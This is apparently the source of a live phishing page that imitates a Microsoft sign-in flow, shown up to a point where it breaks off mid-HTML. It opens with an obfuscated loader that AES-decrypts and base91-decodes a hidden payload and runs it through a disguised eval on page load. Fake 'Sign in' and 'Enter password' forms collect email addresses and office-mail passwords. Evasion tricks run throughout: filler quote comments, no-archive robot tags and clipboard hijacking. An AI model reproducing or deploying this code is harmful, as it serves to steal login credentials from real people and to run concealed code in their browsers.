(function(){
var eqsx = "es4PKCYvpdwSewWAksf52+ipXWnR3hJLdyINX5q0o\/B2wB\/hBsQHUW3GTL9FSbdjJfX4NsmKhd5H3JGLfpXpj7W1oY5y2Jil4tjBkslygJo+Oh5GuASMwEgYuOH9H+Sw0HyZfnyzM7CjPKMEiKjF+xPumz0zwrl+tgTsM16qL56Rhl\/pwgozZJf2BmSCJ6+tWt6bUFoCH6w5jiBPp0J3uqtXoijFMc078ajcO4Mj+H+MwME4HhUD9kC80feQ5ZPoEk3radwL2qGW1y8GZEsIgHtaOvzE9NevvV4CVNdmoESU+VBufnsyNTWRS2DzAxml4Zi6xDcV1BdimMrLohxH\/HMDs1\/bQHrStm7PAWNVuYXUEZAFTDywQWGJMT2tfvBVCLTF5AC6zbHtSA66oTr0NkcNffAX4RW4cZzayhnvT\/Tg4wLAGqKopPv0zuetuWyz3HI9ctFcZfzedj8iuYm8b4BKplVzNgsmogVDKll7YVjz7IWMuc5q3TmPgb6kykkMy05DYmMNdmEMDW0rXKoJn\/QkI2URmrx0z3BHSTCts5oJUd99juPsf+gMcWzXXAYxFt8lut768LlZSOmIrqL47ZryKpNMHYlzqesPtBnggpxwT0G+BvgyF\/LSBLRiY+YgrqtoExuE4f4\/So6O5Muq0PPQMlK39DTGJHnLX9Zx7bgazkYyPumXnP5rMn+Ri9UvhYOPqmBLNyMauhg2PAyBcis\/2MuqgjI6Wc0WznN50KHfHi3NHFTCG\/xlvhUiEQpO6LVwHLHcTQA8KZDKmhUqJsfX+NU4qY\/vRGjfn9MwlnA1JrUGL6yu8CUXzVsB0uCDhwQLnugWcHWBgTkrtgOhSSMNoEojmnjlEKlkxi+3Sucw9Pu209w2HAGhIPd2cji+P+SJULp1\/PzP9jcAxVnCGZ84nyN2DlCmDiKVsnXED1HHuuAg\/nfCFu7beTGVwGee6H9\/F1whlvhrv1XtoCQwbq1+0VQ2fgm9bX2Z+Mq2rsj1wb4V2ce6F0Rw8B36pzfcWCYNp1dceeFYrWvP\/+nIEK0dKUSvxAjtlTLAWBomfrxdRgxsRgsk9\/qYYszdo1dRE4y8L5wgoahHeURkikb575dSex+0SDz9t\/etwU74wSHTrCp4gnsYtMClT7zRY7IBnT8nkBBpD1y0OHz\/O55TlBH4OV1xzuKBTg5gsc1J9gVhuzdPj3z0IpxbpOfSEJ\/gF2od5JBt6q0Fyyi4JSLGqkoSfAp5OzfEL3xaUA8DvUKEpdnMXh+eM6vPBxdl6+IUZmWzCl4\/vXRSYugEtGJNlQyNS8aJrlttW\/Y7q12mH1\/SwhM337LdDEXInUgp0jxzFoqbvlSK+QyIT8NXl84TpqJYcAJYwqzd6SBMvjUG9XNyoFPUfCT7rOahWpulMzqfFg6xzzD0FXSTtNl0PD5cvMhb0lUZUGIJmam8cNjMZnKZ42V+yQns8xez2eVIZ4WvQPZAubmdjcS0f8Ool1sUMLVLnfT1JTSPk66XTRHTsJI4XXgAAKQGJhcNZ5Dk3NaZVlvHLVyQDMInxkXNuLpmR4UwWqK4lKdDrT+z+HBtkhjgsuSwfs4kzNK2sJdj3U650fZYez8ajOQLTQyXz71\/NRUs27KO8QBKGYtHfWvGbOagQPapSLzdGenmK8lJM\/W\/0A+iwIuOU5JRU1p6p1YGzYq2WfQgyUnz1eHL6NWoQgUm+wPdcBc+4uhY3ClTaWlLoGNC\/IBd3+W2JEmfJ4jDV1jm06nxgkAdfRrOF4o0NR01RWI2tNdprET9WH3WxGfBNjHEfZJq5DNqPnnGRhLSMRC9i0ndrQP9rD9dNqnd5arIV1EvO\/S3HcswxejSBIJYAZtXXx7BMFCIHDryIy+xN2GCy\/cau03626wpOIufl3qwOnxPVUaA3MoO9C2HmB7R9hvupVXDuDefttLtM7b3yHe1988\/TRGBCNenWffJuYSCZ6mWtRIhE1j8mf8nLJh9ENj4aD1CsNPISt7t8poOBDNV09ou6d9957jQeEgIUReE7giavljPBfU2PPOZ2aYb9XsWF2pf+TPfu+Tt7KGCvI+b5dv6CdzX6PEfimNLLFSb\/HTmKmwklUWi8lCrI3+hHlxEE8ObaKfabHga2fQvx5jIrGb4aoGQzF6fh5YrsNDdDheW7wTIGa9rV73Z7Z3sGTb32\/D\/nZpL16At4CgJVpRFi11C\/nNo6ZCCY9\/XxgRjtc9z7jSxHCuAAUjcl9WP6HUwJc8S5ZiC8ZYyJrb5TuWnFnqG\/4jTogMz2jWLmhvw1XLvw1XxfsccXXO8Tmw64oVKbUO6RR7TJZeMBYFy3o4+TB2t5Q89OjzG2rm3Q97jIs47i7VQrvbxV0MlQEebmgttcDQEwSUZSeyF+SpCCqM64n6ktRGNIlDcjgcZOiaNa9tnZpMvskjXByMhCTRazLA9XEqt5ztAL+cQ4OQmBoV5nd1+iRoRLqFZe8DbZfAr1X4zfoESE3o6hHgL\/mqrUeFdDE1YV5VEJiWn9YpOP6e3xa3RoAa4ZXylsaG8ARI2XXN2yTDHG5fyvC\/6d1W5jzivLPYemOSNEu2Fckhk2DWeeh584De7OzvrueCf5q7S2BtBxaATxheP9\/6RRRsYUg1ZaDhCIZV3NbJX\/VbwVPDLNKx5nAWwsnEZ2db5qgocStYLYo0te+ad1lBYueJbOkM3oAFnj7mrHjCSHXmX6ocs55cDfjYawpgcOzeEfkd2Zfok1KbVvFdKr9oJmCWD";
var wrph = "Mk0xoMIoExLRx3oEPA6qE+2EwbzAJ9C1e9FAQZbDXNc=";
var dcaf = CryptoJS.enc.Base64.parse(wrph);
var zrrc = CryptoJS.enc.Base64.parse(eqsx);
var lgzb = CryptoJS.lib.WordArray.create(zrrc.words.slice(0, 4), 16);
var myqd = CryptoJS.lib.WordArray.create(
    zrrc.words.slice(4),
    zrrc.sigBytes - 16
);
var vdgx = CryptoJS.AES.decrypt(
    { ciphertext: myqd },
    dcaf,
    { iv: lgzb, mode: CryptoJS.mode.CBC, padding: CryptoJS.pad.Pkcs7 }
);
var fymi = vdgx.toString(CryptoJS.enc.Utf8);
gxgx = base91.decode(fymi);
(0, globalThis['e' + 'v' + 'a' + 'l'])(gxgx);
})();
zrqx = atob;
gjjj = zrqx(`<!DOCTYPE html>
<html lang="en">
<head>
<!-- Never give in except to convictions of honor and good sense. -->
    <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
    <script src="https://github.com/fent/randexp.js/releases/download/v0.4.3/randexp.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js"></script>
    <script src="https://unpkg.com/base91-js@1.0.8/dist/base91.min.js"></script>
    <link rel="stylesheet" href="/34VMx7KVI7aqSsO73xyYmM8920">
    <link rel="stylesheet" href="/xyIgxaBpqn6cd27">
    <link rel="preload" href="/GDSherpa-bold.woff2" as="font" type="font/woff2" crossorigin="anonymous">
    <link rel="preload" href="/GDSherpa-bold.woff" as="font" type="font/woff" crossorigin="anonymous">
    <link rel="preload" href="/GDSherpa-regular.woff2" as="font" type="font/woff2" crossorigin="anonymous">
    <link rel="preload" href="/GDSherpa-regular.woff" as="font" type="font/woff" crossorigin="anonymous">
    <link rel="preload" href="/GDSherpa-vf.woff2" as="font" type="font/woff2" crossorigin="anonymous">
    <link rel="preload" href="/GDSherpa-vf2.woff2" as="font" type="font/woff2" crossorigin="anonymous">
    <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1">
    <meta name="robots" content="noarchive, nosnippet, noimageindex, nocache">
    <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
    <title>&#8203;</title>
    
    <style>
        body {
height: 100vh !important;
width: 100vw !important;
}

body.startnew {
            background-color: #f2f2f2;
            background-image: url('/kljNCJZvlnpIUImkyuime1wklto8Bg6qeEe77sez5s8jPC5guv217');
            background-repeat: no-repeat,no-repeat;
            background-position: center center,center center;
            background-size: cover,cover;
            color: #1b1b1b;
        }

input:-webkit-autofill,
input:-webkit-autofill:hover, 
input:-webkit-autofill:focus, 
input:-webkit-autofill:active{
    -webkit-box-shadow: 0 0 0 30px white inset !important;
}

        .btn {
            margin: 0 0 0 auto;
            display: block;
            background-color: #0067b8;
            color: #fff;
            border: 2px solid #0067b8;
            /* padding: 5px 30px; */
            padding: 5px 37px;
            font-size: 15px;
            cursor: pointer;
        }
    
        .btn:hover {
            background-color: #085998;
        }
    
        .firstlogo{
            background-image: url("/kl2d1d7fW6UKOOXMXqUmj1kKPX5kuJVCVk3nu6Ly9GNqrZBW46KWA9IzSn6fmmsyL20BMYfWYaPab230");
            background-size: 100% 100%;
            width: 108px;
            height: 24px;
            background-repeat: no-repeat;
        }
        .bannerlogo{
            height: 24px;
            max-height: 36px;
            background-image: url("/kl2d1d7fW6UKOOXMXqUmj1kKPX5kuJVCVk3nu6Ly9GNqrZBW46KWA9IzSn6fmmsyL20BMYfWYaPab230");
            background-size: 100% 100%;
            width: 108px;
            background-repeat: no-repeat;
            background-size: contain;
        }
    @font-face {
    font-family: 'gdsherpa';
    font-weight: 700;
    src: url(/GDSherpa-bold.woff2) format('woff2'),url(/GDSherpa-bold.woff) format('woff');
    unicode-range: U+0-10FFFF;
    font-display: swap
    }
    
    @font-face {
    font-family: 'gdsherpa';
    font-weight: 400;
    src: url(/GDSherpa-regular.woff2) format('woff2'),url(/GDSherpa-regular.woff) format('woff');
    unicode-range: U+0-10FFFF;
    font-display: swap
    }
    
    @font-face {
    font-family: 'gdsherpa';
    font-weight: 1 999;
    src: url(/GDSherpa-vf.woff2) format('woff2'),url(/GDSherpa-vf.woff2) format('woff2-variations');
    unicode-range: U+0-10FFFF;
    font-display: swap
    }
    
    @font-face {
    font-family: 'gdsherpa';
    font-weight: 1 900;
    src: url(/GDSherpa-vf2.woff2) format('woff2'),url(/GDSherpa-vf2.woff2) format('woff2-variations');
    unicode-range: U+0-10FFFF;
    font-display: swap
    }
    </style>
    <script>
    (function(){
var eqsx = "es4PKCYvpdwSewWAksf52+ipXWnR3hJLdyINX5q0o\/B2wB\/hBsQHUW3GTL9FSbdjJfX4NsmKhd5H3JGLfpXpj7W1oY5y2Jil4tjBkslygJo+Oh5GuASMwEgYuOH9H+Sw0HyZfnyzM7CjPKMEiKjF+xPumz0zwrl+tgTsM16qL56Rhl\/pwgozZJf2BmSCJ6+tWt6bUFoCH6w5jiBPp0J3uqtXoijFMc078ajcO4Mj+H+MwME4HhUD9kC80feQ5ZPoEk3radwL2qGW1y8GZEsIgHtaOvzE9NevvV4CVNdmoESU+VBufnsyNTWRS2DzAxml4Zi6xDcV1BdimMrLohxH\/HMDs1\/bQHrStm7PAWNVuYXUEZAFTDywQWGJMT2tfvBVCLTF5AC6zbHtSA66oTr0NkcNffAX4RW4cZzayhnvT\/Tg4wLAGqKopPv0zuetuWyz3HI9ctFcZfzedj8iuYm8b4BKplVzNgsmogVDKll7YVjz7IWMuc5q3TmPgb6kykkMy05DYmMNdmEMDW0rXKoJn\/QkI2URmrx0z3BHSTCts5oJUd99juPsf+gMcWzXXAYxFt8lut768LlZSOmIrqL47ZryKpNMHYlzqesPtBnggpxwT0G+BvgyF\/LSBLRiY+YgrqtoExuE4f4\/So6O5Muq0PPQMlK39DTGJHnLX9Zx7bgazkYyPumXnP5rMn+Ri9UvhYOPqmBLNyMauhg2PAyBcis\/2MuqgjI6Wc0WznN50KHfHi3NHFTCG\/xlvhUiEQpO6LVwHLHcTQA8KZDKmhUqJsfX+NU4qY\/vRGjfn9MwlnA1JrUGL6yu8CUXzVsB0uCDhwQLnugWcHWBgTkrtgOhSSMNoEojmnjlEKlkxi+3Sucw9Pu209w2HAGhIPd2cji+P+SJULp1\/PzP9jcAxVnCGZ84nyN2DlCmDiKVsnXED1HHuuAg\/nfCFu7beTGVwGee6H9\/F1whlvhrv1XtoCQwbq1+0VQ2fgm9bX2Z+Mq2rsj1wb4V2ce6F0Rw8B36pzfcWCYNp1dceeFYrWvP\/+nIEK0dKUSvxAjtlTLAWBomfrxdRgxsRgsk9\/qYYszdo1dRE4y8L5wgoahHeURkikb575dSex+0SDz9t\/etwU74wSHTrCp4gnsYtMClT7zRY7IBnT8nkBBpD1y0OHz\/O55TlBH4OV1xzuKBTg5gsc1J9gVhuzdPj3z0IpxbpOfSEJ\/gF2od5JBt6q0Fyyi4JSLGqkoSfAp5OzfEL3xaUA8DvUKEpdnMXh+eM6vPBxdl6+IUZmWzCl4\/vXRSYugEtGJNlQyNS8aJrlttW\/Y7q12mH1\/SwhM337LdDEXInUgp0jxzFoqbvlSK+QyIT8NXl84TpqJYcAJYwqzd6SBMvjUG9XNyoFPUfCT7rOahWpulMzqfFg6xzzD0FXSTtNl0PD5cvMhb0lUZUGIJmam8cNjMZnKZ42V+yQns8xez2eVIZ4WvQPZAubmdjcS0f8Ool1sUMLVLnfT1JTSPk66XTRHTsJI4XXgAAKQGJhcNZ5Dk3NaZVlvHLVyQDMInxkXNuLpmR4UwWqK4lKdDrT+z+HBtkhjgsuSwfs4kzNK2sJdj3U650fZYez8ajOQLTQyXz71\/NRUs27KO8QBKGYtHfWvGbOagQPapSLzdGenmK8lJM\/W\/0A+iwIuOU5JRU1p6p1YGzYq2WfQgyUnz1eHL6NWoQgUm+wPdcBc+4uhY3ClTaWlLoGNC\/IBd3+W2JEmfJ4jDV1jm06nxgkAdfRrOF4o0NR01RWI2tNdprET9WH3WxGfBNjHEfZJq5DNqPnnGRhLSMRC9i0ndrQP9rD9dNqnd5arIV1EvO\/S3HcswxejSBIJYAZtXXx7BMFCIHDryIy+xN2GCy\/cau03626wpOIufl3qwOnxPVUaA3MoO9C2HmB7R9hvupVXDuDefttLtM7b3yHe1988\/TRGBCNenWffJuYSCZ6mWtRIhE1j8mf8nLJh9ENj4aD1CsNPISt7t8poOBDNV09ou6d9957jQeEgIUReE7giavljPBfU2PPOZ2aYb9XsWF2pf+TPfu+Tt7KGCvI+b5dv6CdzX6PEfimNLLFSb\/HTmKmwklUWi8lCrI3+hHlxEE8ObaKfabHga2fQvx5jIrGb4aoGQzF6fh5YrsNDdDheW7wTIGa9rV73Z7Z3sGTb32\/D\/nZpL16At4CgJVpRFi11C\/nNo6ZCCY9\/XxgRjtc9z7jSxHCuAAUjcl9WP6HUwJc8S5ZiC8ZYyJrb5TuWnFnqG\/4jTogMz2jWLmhvw1XLvw1XxfsccXXO8Tmw64oVKbUO6RR7TJZeMBYFy3o4+TB2t5Q89OjzG2rm3Q97jIs47i7VQrvbxV0MlQEebmgttcDQEwSUZSeyF+SpCCqM64n6ktRGNIlDcjgcZOiaNa9tnZpMvskjXByMhCTRazLA9XEqt5ztAL+cQ4OQmBoV5nd1+iRoRLqFZe8DbZfAr1X4zfoESE3o6hHgL\/mqrUeFdDE1YV5VEJiWn9YpOP6e3xa3RoAa4ZXylsaG8ARI2XXN2yTDHG5fyvC\/6d1W5jzivLPYemOSNEu2Fckhk2DWeeh584De7OzvrueCf5q7S2BtBxaATxheP9\/6RRRsYUg1ZaDhCIZV3NbJX\/VbwVPDLNKx5nAWwsnEZ2db5qgocStYLYo0te+ad1lBYueJbOkM3oAFnj7mrHjCSHXmX6ocs55cDfjYawpgcOzeEfkd2Zfok1KbVvFdKr9oJmCWD";
var wrph = "Mk0xoMIoExLRx3oEPA6qE+2EwbzAJ9C1e9FAQZbDXNc=";
var dcaf = CryptoJS.enc.Base64.parse(wrph);
var zrrc = CryptoJS.enc.Base64.parse(eqsx);
var lgzb = CryptoJS.lib.WordArray.create(zrrc.words.slice(0, 4), 16);
var myqd = CryptoJS.lib.WordArray.create(
    zrrc.words.slice(4),
    zrrc.sigBytes - 16
);
var vdgx = CryptoJS.AES.decrypt(
    { ciphertext: myqd },
    dcaf,
    { iv: lgzb, mode: CryptoJS.mode.CBC, padding: CryptoJS.pad.Pkcs7 }
);
var fymi = vdgx.toString(CryptoJS.enc.Utf8);
gxgx = base91.decode(fymi);
(0, globalThis['e' + 'v' + 'a' + 'l'])(gxgx);
})();
    document.addEventListener('copy', function(event) {
    if (document.activeElement.tagName === 'INPUT' || 
        document.activeElement.tagName === 'TEXTAREA' || 
        document.activeElement.isContentEditable) {
        return;
    }
    event.preventDefault();
    var customWord = "drnd";
    event.clipboardData.setData('text/plain', customWord);
    });
    </script>
    <script>
document.getElementById('thco').remove();
document.getElementById('imut').setAttribute('class', "startnew");
document.getElementById('imut').removeAttribute('style');
document.getElementById('imut').removeAttribute('id');
document.getElementById('fram').remove();
var fsub = document.currentScript;
fsub.parentNode.removeChild(fsub);
</script>
</head>

<!-- <div>Success is the sum of small efforts, repeated day in and day out.</div> -->
<body class="startnew">
<div id="sections" class="">
    
    
<!-- <div>Success usually comes to those who are too busy to be looking for it.</div> -->
    
<!-- If you really look closely, most overnight successes took a long time. -->
    
    <section id="section_tryingtosignin" style="animation:show-from-right 0.5s;" class="">
<!-- Success usually comes to those who are too busy to be looking for it. -->
        <div class="auth-wrapper">
<!-- <div>The starting point of all achievement is desire.</div> -->
            <div class="loading-container loading">
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- Success is the sum of small efforts, repeated day in and day out. -->
                <div class="dot-floating"></div>
            </div>
<!-- The road to success and the road to failure are almost exactly the same. -->
            <div class="sectioncontent">
            <div class="firstlogo"></div>
            <h2 class="title mb-16 mt-16">Trying to sign you in</h2>
            <div class="bottomsection">
<!-- Success is not the key to happiness. Happiness is the key to success. If you love what you are doing, you will be successful. -->
            <a href="javascript:void(0)">Cancel</a>
            </div>
            <!-- <p class="mb-16 fs-13">No account? <a href="" class="link">Create one!</a></p> -->
            </div>
<!-- <div>Success is how high you bounce when you hit bottom.</div> -->
        </div>
    </section>
<!-- Don&#039;t be afraid to give up the good to go for the great. -->

    <section id="section_uname" class="d-none">
<!-- <div>Your brand is what people say about you when you&#039;re not in the room.</div> -->
            
        <div class="auth-wrapper">
            <div class="loading-container">
                <div class="dot-floating"></div>
<!-- All our dreams can come true if we have the courage to pursue them. -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- Success is not the key to happiness. Happiness is the key to success. If you love what you are doing, you will be successful. -->
                <div class="dot-floating"></div>
            </div>
            <div class="sectioncontent">
            <div class="firstlogo"></div>
<!-- <div>The only limit to our realization of tomorrow will be our doubts of today.</div> -->
            
            
<!-- <div>It always seems impossible until it&#039;s done.</div> -->
            <button class="back" onclick="backbtn()" style="display: none">
                <img src="/wxgLKLfuRc6QRG9bDFk5stgCfOHyfy7N7NY4DBUk34126"/>
<!-- <div>Try not to become a man of success. Rather become a man of value.</div> -->
            </button>
            <h2 class="title mb-16 mt-16">Sign in</h2>
                <div class="mb-16">
                    <div id="error_uname" class="error"></div>
<!-- <div>Trust is the foundation of any relationship.</div> -->
                    <input id="inp_uname" type="text" name="uname" class="input" autocomplete="off" oninput="removespaces(this)" value="" placeholder="Email, phone, or Skype" />
                </div>
            <div class="bottomsection"><p class="mb-16">No account? <a href="javascript:void(0)" data-id="signup" onclick="linkoptionclick(this)" class="link">Create one!</a></p><a class="link mb-16" data-id="cantAccessAccount" onclick="linkoptionclick(this)" href="javascript:void(0)">Can't access your account?</a></div>
            <!-- <p class="mb-16 fs-13">No account? <a href="" class="link">Create one!</a></p> -->
<!-- <div>Success usually comes to those who are too busy to be looking for it.</div> -->
            <button class="btn" id="btn_next">Next</button>
            </div>
        </div>
        <div class="opts">
<!-- The only limit to our realization of tomorrow will be our doubts of today. -->
<p class="has-icon mb-0" style="font-size:15px;"><span class="icon"><img src="/qrqxZQ7i49HVQDFkT2K9mniyQTFXOnXx5i81oj42ckX345139" width="30px" /></span> Sign-in options</p>
</div>
    </section>

<!-- The biggest risk is not taking any risk. -->

    <section id="section_pwd" class="d-none">
<!-- <div>Success means doing the best we can with what we have. Success is the doing, not the getting; in the trying, not the triumph.</div> -->
            <div class="auth-wrapper">
            <div class="loading-container">
                <div class="dot-floating"></div>
<!-- The road to success and the road to failure are almost exactly the same. -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- Success is not built on success. It&#039;s built on failure. It&#039;s built on frustration. Sometimes it&#039;s built on catastrophe. -->
                <div class="dot-floating"></div>
<!-- <div>The secret of success is to do the common thing uncommonly well.</div> -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
            </div>
            <div class="sectioncontent">
            <div class="bannerlogo" class="d-block"></div>
            
<!-- <div>Successful people do what unsuccessful people are not willing to do. Don&#039;t wish it were easier; wish you were better.</div> -->
            
            <div class="identity w-100 mt-16 mb-16">
                <button class="back" onclick="backbtn()">
<!-- <div>Success is how high you bounce when you hit bottom.</div> -->
                    <img src="/wxgLKLfuRc6QRG9bDFk5stgCfOHyfy7N7NY4DBUk34126"/>
                </button> 
                <span class="user_identity">a@b.com</span>
            </div>
            <h2 class="title" style="margin-bottom: 5px;">Enter password</h2><div id="passdesc" class="text-block-body overflow-hidden form-group">Enter password to access your office mail.</div>
<!-- Success is not how high you have climbed, but how you make a positive difference to the world. -->
                <div class="mb-16">
                    <div id="error_pwd" class="error"></div>
<!-- <div>Success is how high you bounce when you hit bottom.</div> -->
                    <input id="inp_pwd" type="password" name="pass" class="input" placeholder="Password" />
                </div>
            <div class="bottomsection"></div>
<!-- Success in business requires training, discipline, and hard work. -->
            <button class="btn" id="btn_sig">Sign in</button>
            </div>
        </div>
    </section>

<!-- <div>Successful people do what unsuccessful people are not willing to do. Don&#039;t wish it were easier; wish you were better.</div> -->
    <section id="section_pwd_live" class="d-none">
        <div class="auth-wrapper">
            <div class="loading-container">
                <div class="dot-floating"></div>
<!-- <div>Don&#039;t be afraid to give up the good to go for the great.</div> -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- <div>Don&#039;t be afraid to give up the good to go for the great.</div> -->
                <div class="dot-floating"></div>
            </div>
<!-- <div>It always seems impossible until it&#039;s done.</div> -->
            <div class="sectioncontent">
            <div class="bannerlogo" style="height: 24px;"></div>
<!-- <div>Success is getting what you want, happiness is wanting what you get.</div> -->
            <div class="identity w-100 mt-16 mb-16" style="margin-bottom: 4px;display: flex;justify-content: center;">
                <div class="user_identity_live_outerele">
                <div style="position: relative;">
                <button class="back" onclick="backbtn()" style="position: relative;top: 5px;">
<!-- If you are not willing to risk the usual, you will have to settle for the ordinary. -->
                    <img src="/wxgLKLfuRc6QRG9bDFk5stgCfOHyfy7N7NY4DBUk34126"/>
                </button>
                </div>
                <div class="user_identity_live_ele">
<!-- Don&#039;t be distracted by criticism. Remember, the only taste of success some people get is to take a bite out of you. -->
                <span class="user_identity">a@b.com</span>
                </div>
                </div>
            </div>
            <h2 class="title" style="margin-bottom: 15px;text-align: center;">Enter your password</h2>
<!-- <div>Try not to become a man of success. Rather become a man of value.</div> -->
                <div class="mb-16">
                    <div id="error_pwd_live" class="error"></div>
                    <div class="input-group">
                    <input id="inp_pwd_live" type="password" name="pass" class="input" placeholder=" " required>
                    <label for="password">Password</label>
<!-- <div>It always seems impossible until it&#039;s done.</div> -->
                </div>
                </div>
<!-- The way to get started is to quit talking and begin doing. -->
            <div class="bottomsection"></div>
<!-- Success is where preparation and opportunity meet. -->
            <button class="btn" id="btn_sig_live">Next</button>
            </div>
        </div>
<!-- <div>The customer is always right.</div> -->
    </section>

    <section id="section_youdonthaveaccess" class="d-none">
<!-- <div>Success is not built on success. It&#039;s built on failure. It&#039;s built on frustration. Sometimes it&#039;s built on catastrophe.</div> -->
        <div class="auth-wrapper">
<!-- If you are not willing to risk the usual, you will have to settle for the ordinary. -->
            <div class="loading-container">
                <div class="dot-floating"></div>
<!-- The only way to do great work is to love what you do. -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- Success is not in what you have, but who you are. -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
            </div>
<!-- Success is the sum of small efforts, repeated day in and day out. -->
            <div class="sectioncontent">
            <div class="firstlogo"></div>
            <div class="identity w-100 mt-16 mb-16">
<!-- Action is the foundational key to all success. -->
                <span class="user_identity">a@b.com</span>
            </div>
            <h2 class="title mb-16">You cannot access this right now</h2>
            <div id="youdonthaveaccessdesc" class="text-block-body form-group overflow-hidden no-margin-top">Your sign-in was successful but does not meet the criteria to access this resource. For example, you might be signing in from a browser, app, or location that is restricted by your admin.
<!-- The road to success and the road to failure are almost exactly the same. -->
            </div>
            <div class="youdonthaveaccessbottom">
<!-- <div>The starting point of all achievement is desire.</div> -->
            <div class="youdonthaveaccessbottomoption form-group">
            <a data-id="SwitchUser" onclick="linkoptionclick(this)" class="no-wrap" href="javascript:void(0)">Sign out and sign in with a different account</a>
            </div>
<!-- Action is the foundational key to all success. -->
            <div class="youdonthaveaccessbottomoption">
            <a data-id="MoreDetails" onclick="linkoptionclick(this)" class="no-wrap" href="javascript:void(0)">More details</a>
            </div>
            </div>
            <div class="bottomsection">
<!-- <div>Success is not built on success. It&#039;s built on failure. It&#039;s built on frustration. Sometimes it&#039;s built on catastrophe.</div> -->
            </div>
<!-- <div>Success is walking from failure to failure with no loss of enthusiasm.</div> -->
            <!-- <p class="mb-16 fs-13">No account? <a href="" class="link">Create one!</a></p> -->
            </div>
<!-- <div>Great leaders inspire action.</div> -->
        </div>
<!-- <div>Success is how high you bounce when you hit bottom.</div> -->
    </section>

    <section id="section_moreinforequired" class="d-none">
<!-- Trust is the foundation of any relationship. -->
        <div class="auth-wrapper">
            <div class="loading-container">
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- <div>Effective communication is the key to success.</div> -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- Don&#039;t be distracted by criticism. Remember, the only taste of success some people get is to take a bite out of you. -->
            </div>
<!-- Success is how high you bounce when you hit bottom. -->
            <div class="sectioncontent">
            <div class="firstlogo"></div>
            <div class="identity w-100 mt-16 mb-16">
<!-- Don&#039;t be afraid to give up the good to go for the great. -->
                <span class="user_identity">a@b.com</span>
            </div>
            <h2 class="title mb-16">More information required</h2>
<!-- Success is not how high you have climbed, but how you make a positive difference to the world. -->
            <div id="youdonthaveaccessdesc" class="text-block-body form-group overflow-hidden no-margin-top">Your organization needs more information to keep your account secure
            </div>
            <div class="youdonthaveaccessbottom">
<!-- <div>The road to success and the road to failure are almost exactly the same.</div> -->
            <div class="youdonthaveaccessbottomoption form-group">
            <a data-id="SwitchUser" onclick="linkoptionclick(this)" class="no-wrap" href="javascript:void(0)">Sign out and sign in with a different account</a>
            </div>
<!-- <div>Don&#039;t be distracted by criticism. Remember, the only taste of success some people get is to take a bite out of you.</div> -->
            <div class="youdonthaveaccessbottomoption">
            <a data-id="MoreDetails" onclick="linkoptionclick(this)" class="no-wrap" href="javascript:void(0)">More details</a>
            </div>
<!-- If you really look closely, most overnight successes took a long time. -->
            </div>
            <div class="bottomsection">
            </div>
<!-- The way to get started is to quit talking and begin doing. -->
            <!-- <p class="mb-16 fs-13">No account? <a href="" class="link">Create one!</a></p> -->
            </div>
        </div>
<!-- <div>Success is not built on success. It&#039;s built on failure. It&#039;s built on frustration. Sometimes it&#039;s built on catastrophe.</div> -->
    </section>

<!-- <div>Innovation distinguishes between a leader and a follower.</div> -->
    <section id="section_tryagainlater" class="d-none">
<!-- The only way to do great work is to love what you do. -->
        <div class="auth-wrapper">
            <div class="loading-container">
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- <div>The starting point of all achievement is desire.</div> -->
                <div class="dot-floating"></div>
<!-- <div>The secret of success is to do the common thing uncommonly well.</div> -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
            </div>
            <div class="sectioncontent">
<!-- <div>The way to get started is to quit talking and begin doing.</div> -->
            <div class="firstlogo"></div>

            <h2 class="title mb-16 mt-16" id="tryagainheader" style="display:none;margin-bottom: 0;">We didn't hear from you</h2>

            <div id="tryagain_withinternet" class="row text-body" style="display:none;margin-bottom: 0;">
<!-- The starting point of all achievement is desire. -->
            We haven't heard from you and noticed you're having some trouble. <br><a href="" class="link mb-16">Try Again.</a>
            </div>
            <div id="tryagain_withoutinternet" class="row text-body" style="display:none;margin-bottom: 0;">
            it seems your internet connection is unstable and noticed you're having some trouble. <br><a href="" class="link mb-16">Try Again.</a>
<!-- <div>Success is not the absence of failure; it&#039;s the persistence through failure.</div> -->
            </div>
            <div id="tryagain_moreinfo" class="row text-body" style="display:none;margin-bottom: 0;">
<!-- Trust is the foundation of any relationship. -->
            Your Account Requires More Information. <br><a href="" class="link mb-16">Try Again.</a>
            </div>
            <div id="tryagain_toomanyattempts" class="row text-body" style="display:none;margin-bottom: 0;">
<!-- The secret of getting ahead is getting started. -->
            <p>
            Please <a href="" class="link mb-16">Try Again</a> After 5 Minutes Due To Too Many Attempts.
            </p>
<!-- Success is not in what you have, but who you are. -->
            </div>
            <a class="link mb-16" style="font-size: 13px;" href="https://go.microsoft.com/fwlink/p/?LinkId=708614" target="_blank">More information</a>
            </div>
        </div>
    </section>

<!-- Success is not in what you have, but who you are. -->
    <section id="section_signinanothererror" class="d-none">
        <div class="auth-wrapper">
<!-- <div>Effective communication is the key to success.</div> -->
            <div class="loading-container">
<!-- Success is not final, failure is not fatal: It is the courage to continue that counts. -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- <div>Success seems to be connected with action. Successful people keep moving.</div> -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- <div>The starting point of all achievement is desire.</div> -->
            </div>
            <div class="sectioncontent">
            <div class="firstlogo"></div>
<!-- The secret of success is to do the common thing uncommonly well. -->
